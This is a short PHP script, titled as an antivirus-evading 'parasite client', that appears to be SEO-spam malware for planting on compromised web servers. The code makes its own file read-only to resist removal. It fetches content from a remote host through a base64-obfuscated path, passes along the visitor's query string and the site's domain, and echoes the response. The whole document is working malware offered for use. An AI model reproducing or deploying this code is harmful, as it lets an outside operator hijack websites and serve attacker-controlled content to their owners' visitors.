免查杀寄生虫客户端PHP版

<?php
set_time_limit(0);
$url1 = $_SERVER['PHP_SELF'];  
$name= substr($url1 ,strrpos($url1 ,'/')+1 );
chmod($name,0444);
header("Content-Type: text/html;charset=gb2312");
date_default_timezone_set('PRC');

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$c = file_get_contents($a . base64_decode("L2luZGV4LnBocD9ob3N0PQ==") . $b . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['SERVER_NAME']);
echo $c;
?>